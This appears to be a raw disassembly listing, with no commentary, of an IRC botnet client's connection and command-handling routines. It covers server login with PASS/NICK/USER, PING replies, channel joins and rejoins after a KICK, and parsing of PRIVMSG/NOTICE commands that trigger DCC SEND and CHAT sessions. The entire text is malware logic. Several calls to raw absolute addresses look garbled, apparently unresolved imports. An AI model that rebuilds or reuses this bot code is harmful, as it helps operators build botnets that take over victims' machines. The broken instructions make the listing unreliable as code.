push offset dword_4D301C
call sub_417770
mov eax, dword_436C04
push 3Fh
push offset dword_436C80
push edi
mov dword_4D316C, eax
call sub_417770
push 3Fh
push offset aSend_1 ; "send"
push esi
call sub_417770
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_402C67
; ---------------------------------------------------------------------------
loc_402D44: ; CODE XREF: ___:00402C80j
; ___:00402CA9j
call sub_40901C
loc_402D49: ; CODE XREF: ___:00402833j
; ___:00402843j
call dword_4452A0
loc_402D4F: ; CODE XREF: ___:00402826j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402D58 proc near ; CODE XREF: ___:00402C75p
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_402D7D: ; CODE XREF: sub_402D58+E6j
; sub_402D58+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417070
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_445348
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_402561
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_402EAA
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_417070
push 0
lea eax, [ebp+var_2C]
push dword_436C34
push dword_436C30
push eax
call sub_408B4C
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_446228
push edi
push eax
call sub_417770
add esp, 28h
push 6
push 1
push 2
call dword_4453C8
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_44621C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4452F0
cmp eax, 0FFFFFFFFh
jnz short loc_402E43
push esi
call dword_4453E0
call sub_40258A
push 7D0h
loc_402E38: ; CODE XREF: sub_402D58+146j
nop
call near ptr 2690599h
jmp loc_402D7D
; ---------------------------------------------------------------------------
loc_402E43: ; CODE XREF: sub_402D58+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_4376DC
call sub_4105CB
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_402EC0
add esp, 28h
mov edi, eax
push esi
call dword_4453E0
test edi, edi
jz loc_402D7D
cmp edi, 1
jnz short loc_402EA0
push 0DBBA0h
jmp short loc_402E38
; ---------------------------------------------------------------------------
loc_402EA0: ; CODE XREF: sub_402D58+13Fj
cmp edi, 2
jz short loc_402EAE
jmp loc_402D7D
; ---------------------------------------------------------------------------
loc_402EAA: ; CODE XREF: sub_402D58+5Aj
xor eax, eax
jmp short loc_402EBA
; ---------------------------------------------------------------------------
loc_402EAE: ; CODE XREF: sub_402D58+14Bj
push [ebp+var_34]
call sub_40916F
pop ecx
push 2
pop eax
loc_402EBA: ; CODE XREF: sub_402D58+154j
pop edi
pop esi
leave
retn 4
sub_402D58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402EC0 proc near ; CODE XREF: sub_402D58+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_417E20
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_402EDE: ; CODE XREF: sub_402EC0+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_402EDE
cmp byte_4D3180, bl
jz short loc_402F05
push offset byte_4D3180
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_4013FF
add esp, 0Ch
loc_402F05: ; CODE XREF: sub_402EC0+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_408B4C
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_4171D0
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_445398
cmp eax, 0FFFFFFFFh
jnz short loc_402F6F
push [ebp+arg_0]
call dword_4453E0
push 1388h
call near ptr 2690599h
nop
loc_402F68: ; CODE XREF: sub_402EC0+D9j
; sub_402EC0+153j
xor eax, eax
loc_402F6A: ; CODE XREF: sub_402EC0+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_402F6F: ; CODE XREF: sub_402EC0+92j
; sub_402EC0+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_445360
test eax, eax
jle short loc_402F68
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_411B48
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_402F6F
lea edi, [ebp+var_A90]
loc_402FC0: ; CODE XREF: sub_402EC0+165j
push 1
pop esi
loc_402FC3: ; CODE XREF: sub_402EC0+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_403038
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_403006
push 7D0h
nop
call near ptr 2690599h
jmp short loc_402FC3
; ---------------------------------------------------------------------------
loc_403006: ; CODE XREF: sub_402EC0+137j
cmp esi, 0FFFFFFFDh
jz short loc_403030
cmp esi, 0FFFFFFFEh
jz short loc_40302C
cmp esi, 0FFFFFFFFh
jz loc_402F68
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_402FC0
jmp loc_402F6F
; ---------------------------------------------------------------------------
loc_40302C: ; CODE XREF: sub_402EC0+14Ej
push 1
jmp short loc_403032
; ---------------------------------------------------------------------------
loc_403030: ; CODE XREF: sub_402EC0+149j
push 2
loc_403032: ; CODE XREF: sub_402EC0+16Ej
pop eax
jmp loc_402F6A
sub_402EC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403038 proc near ; CODE XREF: sub_402EC0+12Ap
var_1584 = byte ptr -1584h
var_1184 = byte ptr -1184h
var_F84 = byte ptr -0F84h
var_D84 = byte ptr -0D84h
var_C84 = byte ptr -0C84h
var_C80 = byte ptr -0C80h
var_B80 = byte ptr -0B80h
var_B7C = byte ptr -0B7Ch
var_A7C = byte ptr -0A7Ch
var_9FC = byte ptr -9FCh
var_99B = byte ptr -99Bh
var_99A = byte ptr -99Ah
var_998 = byte ptr -998h
var_997 = byte ptr -997h
var_98E = byte ptr -98Eh
var_98C = byte ptr -98Ch
var_98A = byte ptr -98Ah
var_989 = byte ptr -989h
var_8FC = dword ptr -8FCh
var_8F8 = byte ptr -8F8h
var_7F4 = dword ptr -7F4h
var_7F0 = dword ptr -7F0h
var_7EC = byte ptr -7ECh
var_770 = byte ptr -770h
var_72C = dword ptr -72Ch
var_728 = byte ptr -728h
var_700 = dword ptr -700h
var_6F8 = byte ptr -6F8h
var_6E8 = byte ptr -6E8h
var_6E4 = byte ptr -6E4h
var_6E0 = dword ptr -6E0h
var_6DC = byte ptr -6DCh
var_6A8 = byte ptr -6A8h
var_671 = byte ptr -671h
var_670 = byte ptr -670h
var_668 = byte ptr -668h
var_65C = byte ptr -65Ch
var_5E4 = dword ptr -5E4h
var_5E0 = dword ptr -5E0h
var_5DC = dword ptr -5DCh
var_5D8 = byte ptr -5D8h
var_570 = dword ptr -570h
var_56C = dword ptr -56Ch
var_568 = dword ptr -568h
var_564 = dword ptr -564h
var_560 = dword ptr -560h
var_55C = dword ptr -55Ch
var_558 = dword ptr -558h
var_554 = dword ptr -554h
var_550 = dword ptr -550h
var_54C = byte ptr -54Ch
var_530 = byte ptr -530h
var_520 = byte ptr -520h
var_510 = byte ptr -510h
var_50C = dword ptr -50Ch
var_504 = byte ptr -504h
var_500 = byte ptr -500h
var_4F8 = dword ptr -4F8h
var_4F4 = byte ptr -4F4h
var_4E8 = byte ptr -4E8h
var_4E4 = byte ptr -4E4h
var_4A0 = byte ptr -4A0h
var_484 = byte ptr -484h
var_480 = byte ptr -480h
var_474 = byte ptr -474h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_404 = dword ptr -404h
var_400 = dword ptr -400h
var_3FC = dword ptr -3FCh
var_3F8 = dword ptr -3F8h
var_3F4 = dword ptr -3F4h
var_3F0 = dword ptr -3F0h
var_3EC = dword ptr -3ECh
var_3E8 = dword ptr -3E8h
var_3E4 = byte ptr -3E4h
var_394 = dword ptr -394h
var_390 = dword ptr -390h
var_38C = byte ptr -38Ch
var_384 = dword ptr -384h
var_380 = byte ptr -380h
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_348 = byte ptr -348h
var_328 = dword ptr -328h
var_310 = byte ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = byte ptr -2E4h
var_E4 = byte ptr -0E4h
var_D8 = word ptr -0D8h
var_D6 = word ptr -0D6h
var_D4 = dword ptr -0D4h
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = byte ptr -0C0h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 1584h
call sub_417E20
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2E4]
push ebx
push eax
mov [ebp+var_A8], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_C8], ebx
call sub_417070
push 1Bh
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push eax
call sub_417770
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_4034D4
push esi
lea eax, [ebp+var_F84]
push ebx
push eax
call sub_417070
dec esi
lea eax, [ebp+var_F84]
push esi
push [ebp+arg_0]
push eax
call sub_417770
lea eax, [ebp+var_F84]
push offset asc_437724 ; " :"
push eax
call sub_417B50
mov [ebp+var_C], eax
lea eax, [ebp+var_F84]
push esi
push eax
lea eax, [ebp+var_1184]
push eax
call sub_417770
lea eax, [ebp+var_1184]
push offset asc_437728 ; " "
push eax
call sub_417620
add esp, 34h
mov [ebp+var_90], eax
lea esi, [ebp+var_8C]
push 1Fh
pop edi
loc_403103: ; CODE XREF: sub_403038+DEj
push offset asc_43772C ; " "
push ebx
call sub_417620
mov [esi], eax
pop ecx
add esi, 4
dec edi
pop ecx
jnz short loc_403103
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_4034D4
cmp [ebp+var_8C], ebx
jz loc_4034D4
push 100h
lea eax, [ebp+var_9FC]
push ebx
push eax
call sub_417070
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_403150: ; CODE XREF: sub_403038+14Aj
mov eax, [ecx]
cmp eax, ebx
jz short loc_40317C
cmp byte ptr [eax], 2Dh
jnz short loc_403184
cmp [eax+2], bl
jnz short loc_403184
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_9FC], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40317C: ; CODE XREF: sub_403038+11Cj
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_403150
loc_403184: ; CODE XREF: sub_403038+121j
; sub_403038+126j
cmp [ebp+var_989], bl
jz short loc_40318F
mov [ebp+var_8], edi
loc_40318F: ; CODE XREF: sub_403038+152j
cmp [ebp+var_98E], bl
jz short loc_40319D
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_40319D: ; CODE XREF: sub_403038+15Dj
cmp byte ptr [esi], 0Ah
jz short loc_4031D7
push 7Fh
lea eax, [ebp+var_A7C]
push esi
push eax
call sub_417770
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C0]
push eax
call sub_417770
lea eax, [ebp+var_C0]
push offset asc_437730 ; "!"
push eax
call sub_417620
add esp, 20h
loc_4031D7: ; CODE XREF: sub_403038+168j
push esi
push offset aPing ; "PING"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_403228
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_4013FF
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_4032CC
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4013FF
add esp, 10h
jmp loc_4032CC
; ---------------------------------------------------------------------------
loc_403228: ; CODE XREF: sub_403038+1AEj
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408722
push esi
push offset a005 ; "005"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408722
push esi
push offset a302 ; "302"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_403293
push offset a@ ; "@"
push [ebp+var_84]
call sub_417B50
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4032CC
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_417770
add esp, 0Ch
jmp short loc_4032CC
; ---------------------------------------------------------------------------
loc_403293: ; CODE XREF: sub_403038+22Fj
push esi
push offset a433 ; "433"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4032D3
push ebx
push dword_436C34
push dword_436C30
push [ebp+arg_10]
call sub_408B4C
push [ebp+arg_10]
push offset aNickS_3 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_4013FF
add esp, 1Ch
loc_4032CC: ; CODE XREF: sub_403038+1CFj
; sub_403038+1EBj ...
mov eax, edi
jmp loc_4034D7
; ---------------------------------------------------------------------------
loc_4032D3: ; CODE XREF: sub_403038+26Aj
mov esi, [ebp+arg_18]
mov [ebp+var_C4], 3
mov edi, 80h
loc_4032E5: ; CODE XREF: sub_403038+2D2j
lea eax, [ebp+var_A7C]
push eax
push esi
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_403302
mov [ebp+var_A4], 1
loc_403302: ; CODE XREF: sub_403038+2BEj
add esi, edi
dec [ebp+var_C4]
jnz short loc_4032E5
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_4033F9
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_403331: ; CODE XREF: sub_403038+386j
cmp [esi], bl
jz loc_4033B9
push 7Fh
lea eax, [ebp+var_A7C]
push esi
push eax
call sub_417770
lea eax, [ebp+var_C0]
add esp, 0Ch
test eax, eax
jz short loc_4033B9
cmp [ebp+var_84], ebx
jz short loc_4033B9
push [ebp+var_84]
lea eax, [ebp+var_C0]
push eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4033B9
lea eax, [ebp+var_C0]
mov [esi], bl
push eax
lea eax, [ebp+var_2E4]
push offset unk_4377B0
push eax
call sub_4171D0
lea eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_4013FF
lea eax, [ebp+var_2E4]
push eax
call sub_410557
add esp, 20h
loc_4033B9: ; CODE XREF: sub_403038+2FBj
; sub_403038+31Bj ...
add esi, edi
dec [ebp+arg_24]
jnz loc_403331
push [ebp+var_84]
push [ebp+arg_10]
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_4034D4
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
loc_4033EC: ; CODE XREF: sub_403038+5EBj
; sub_403038+89Bj ...
push [ebp+arg_4]
call sub_4013FF
jmp loc_406C44
; ---------------------------------------------------------------------------
loc_4033F9: ; CODE XREF: sub_403038+2E9j
push esi
push offset aNick ; "NICK"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_40353C
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_403422: ; CODE XREF: sub_403038+43Cj
lea eax, [ebp+var_A7C]
push eax
push esi
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_40346F
lea eax, [ebp+var_A7C]
push 21h
push eax
call sub_4185C0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_40346F
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_4184C0
push [ebp+arg_1C]
push edi
call sub_4184D0
add esp, 10h
mov edi, 80h
loc_40346F: ; CODE XREF: sub_403038+3FBj
; sub_403038+412j
add esi, edi
dec [ebp+arg_0]
jnz short loc_403422
lea eax, [ebp+var_C0]
test eax, eax
jz short loc_4034D4
cmp [ebp+arg_24], ebx
jz short loc_4034D4
push [ebp+arg_10]
lea eax, [ebp+var_C0]
push eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4034AC
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_417770
jmp loc_40501D
; ---------------------------------------------------------------------------
loc_4034AC: ; CODE XREF: sub_403038+460j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4034B1: ; CODE XREF: sub_403038+49Aj
cmp [edi], bl
jz short loc_4034C8
lea eax, [ebp+var_A7C]
push eax
push edi
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_4034DC
loc_4034C8: ; CODE XREF: sub_403038+47Bj
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4034B1
loc_4034D4: ; CODE XREF: sub_403038+5Bj
; sub_403038+E8j ...
push 1
loc_4034D6: ; CODE XREF: sub_403038+3ECAj
pop eax
loc_4034D7: ; CODE XREF: sub_403038+296j
; sub_403038+28CAj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4034DC: ; CODE XREF: sub_403038+48Ej
lea eax, [ebp+var_A7C]
push 21h
push eax
call sub_4185C0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_4034D4
push eax
call sub_414BE0
push [ebp+arg_24]
mov edi, eax
call sub_414BE0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_4034D4
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_4171D0
push ebx
lea eax, [ebp+var_348]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_401445
add esp, 24h
jmp short loc_4034D4
; ---------------------------------------------------------------------------
loc_40353C: ; CODE XREF: sub_403038+3D0j
push esi
push offset aPart ; "PART"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_40355E
push esi
push offset aQuit ; "QUIT"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_40358B
loc_40355E: ; CODE XREF: sub_403038+513j
mov edi, [ebp+arg_18]
xor esi, esi
loc_403563: ; CODE XREF: sub_403038+54Bj
cmp [edi], bl
jz short loc_403579
push [ebp+var_90]
push edi
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_4035C7
loc_403579: ; CODE XREF: sub_403038+52Dj
inc esi
add edi, 80h
cmp esi, 3
jl short loc_403563
mov esi, [ebp+var_8C]
loc_40358B: ; CODE XREF: sub_403038+524j
push esi
push offset a353 ; "353"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_403628
push [ebp+var_80]
push [ebp+arg_8]
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_4035BA
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_4035BA: ; CODE XREF: sub_403038+577j
push [ebp+var_80]
push offset unk_437850
jmp loc_408716
; ---------------------------------------------------------------------------
loc_4035C7: ; CODE XREF: sub_403038+53Fj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2E4]
push offset unk_437810
push eax
call sub_4171D0
lea eax, [ebp+var_2E4]
push eax
call sub_410557
push [ebp+var_8C]
push offset aPart_0 ; "PART"
call sub_417870
add esp, 18h
test eax, eax
jnz loc_4034D4
lea eax, [ebp+var_2E4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n"
jmp loc_4033EC
; ---------------------------------------------------------------------------
loc_403628: ; CODE XREF: sub_403038+562j
push esi
push offset aPrivmsg_0 ; "PRIVMSG"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_40366B
push esi
push offset aNotice_0 ; "NOTICE"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_40366B
push esi
push offset a332 ; "332"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_40858F
cmp dword_436C1C, ebx
jz loc_40858F
loc_40366B: ; CODE XREF: sub_403038+5FFj
; sub_403038+610j
push esi
push offset aPrivmsg_1 ; "PRIVMSG"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4037F5
push esi
push offset aNotice_1 ; "NOTICE"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4037F5
mov eax, [ebp+var_84]
inc [ebp+var_80]
mov [ebp+var_A8], 4
mov [ebp+var_88], eax
loc_4036AE: ; CODE XREF: sub_403038+879j
; sub_403038+8AFj ...
mov eax, [ebp+var_A8]
mov esi, eax
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_4378E8
mov [ebp+arg_20], eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_403A91
push [ebp+esi+var_8C]
push offset aSend_3 ; "SEND"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_40395B
cmp [ebp+var_A4], ebx
jz loc_403931
push [ebp+esi+var_88]
lea eax, [ebp+var_6E4]
push offset aS_26 ; "%s"
push eax
call sub_4171D0
push [ebp+esi+var_84]
lea eax, [ebp+var_6F8]
push offset aS_27 ; "%s"
push eax
call sub_4171D0
push [ebp+esi+var_80]
call sub_4174D0
mov [ebp+var_560], eax
mov eax, [ebp+arg_4]
mov [ebp+var_700], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_5E0]
push eax
call sub_417770
mov eax, [ebp+var_4]
mov [ebp+var_558], eax
mov eax, [ebp+var_8]
mov [ebp+var_554], eax
lea eax, [ebp+var_5E0]
push eax
lea eax, [ebp+var_6E4]
push eax
lea eax, [ebp+var_2E4]
push offset unk_437900
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 1Ah
push eax
call sub_408E53
add esp, 44h
mov [ebp+var_55C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_700]
push ebx
push eax
push offset loc_410E22
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_55C]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz loc_403914
loc_4037DF: ; CODE XREF: sub_403038+7BBj
cmp [ebp+var_550], ebx
jnz loc_403953
push 32h
call near ptr 2690599h
nop
jmp short loc_4037DF
; ---------------------------------------------------------------------------
loc_4037F5: ; CODE XREF: sub_403038+642j
; sub_403038+657j
push esi
push offset aNotice_2 ; "NOTICE"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_40380D
mov [ebp+var_4], 1
loc_40380D: ; CODE XREF: sub_403038+7CCj
mov edi, [ebp+var_88]
cmp edi, ebx
jz loc_4034D4
push offset asc_43789C ; "#"
push edi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_403831
cmp [ebp+var_4], ebx
jz short loc_40383D
loc_403831: ; CODE XREF: sub_403038+7F2j
lea edi, [ebp+var_C0]
mov [ebp+var_88], edi
loc_40383D: ; CODE XREF: sub_403038+7F7j
cmp [ebp+var_84], ebx
jz loc_4034D4
inc [ebp+var_84]
jz short loc_403887
cmp [ebp+arg_10], ebx
jz short loc_403887
lea eax, [ebp+var_54C]
push eax
call sub_414BE0
push eax
lea eax, [ebp+var_54C]
push [ebp+var_84]
push eax
call sub_418480
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_A8], eax
jmp short loc_40388D
; ---------------------------------------------------------------------------
loc_403887: ; CODE XREF: sub_403038+817j
; sub_403038+81Cj
mov eax, [ebp+var_A8]
loc_40388D: ; CODE XREF: sub_403038+84Dj
shl eax, 2
mov [ebp+arg_8], eax
mov esi, [ebp+eax+var_90]
cmp esi, ebx
jz loc_4034D4
push esi
push offset dword_4378A0
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_4036AE
cmp byte ptr [edi], 23h
jz short loc_4038D8
mov eax, dword_4D3188
mov eax, off_436CF0[eax*4]
cmp [eax], bl
jz short loc_4038D8
push eax
push edi
push offset dword_4378AC
jmp loc_4033EC
; ---------------------------------------------------------------------------
loc_4038D8: ; CODE XREF: sub_403038+882j
; sub_403038+892j
push esi
push offset dword_4378C8
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_4036AE
mov eax, [ebp+arg_8]
mov eax, [ebp+eax+var_8C]
cmp eax, ebx
jz loc_4036AE
cmp byte ptr [edi], 23h
jz loc_4036AE
push eax
push edi
push offset dword_4378D0
jmp loc_4033EC
; ---------------------------------------------------------------------------
loc_403914: ; CODE XREF: sub_403038+7A1j
call near ptr 26908EFh
nop
push eax
push offset unk_437930
loc_403920: ; CODE XREF: sub_403038+A32j
; sub_403038+A43j ...
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 0Ch
jmp short loc_403953
; ---------------------------------------------------------------------------
loc_403931: ; CODE XREF: sub_403038+6C8j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2E4]
push [ebp+esi+var_88]
push offset unk_43796C
push eax
call sub_4171D0
add esp, 10h
loc_403953: ; CODE XREF: sub_403038+7ADj
; sub_403038+8F7j ...
push 1
pop esi
jmp loc_4058F3
; ---------------------------------------------------------------------------
loc_40395B: ; CODE XREF: sub_403038+6BCj
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_403AA7
cmp [ebp+var_A4], ebx
jz loc_403A80
push 1Bh
call sub_40909B
test eax, eax
pop ecx
jnz loc_403A6F
push [ebp+esi+var_84]
lea eax, [ebp+var_6F8]
push offset aS_0 ; "%s"
push eax
call sub_4171D0
push [ebp+esi+var_80]
call sub_4174D0
mov [ebp+var_560], eax
mov eax, [ebp+arg_4]
mov [ebp+var_700], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_5E0]
push eax
call sub_417770
mov eax, [ebp+var_4]
mov [ebp+var_558], eax
mov eax, [ebp+var_8]
mov [ebp+var_554], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2E4]
push offset unk_4379BC
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 1Bh
push eax
call sub_408E53
add esp, 34h
mov [ebp+var_55C], eax
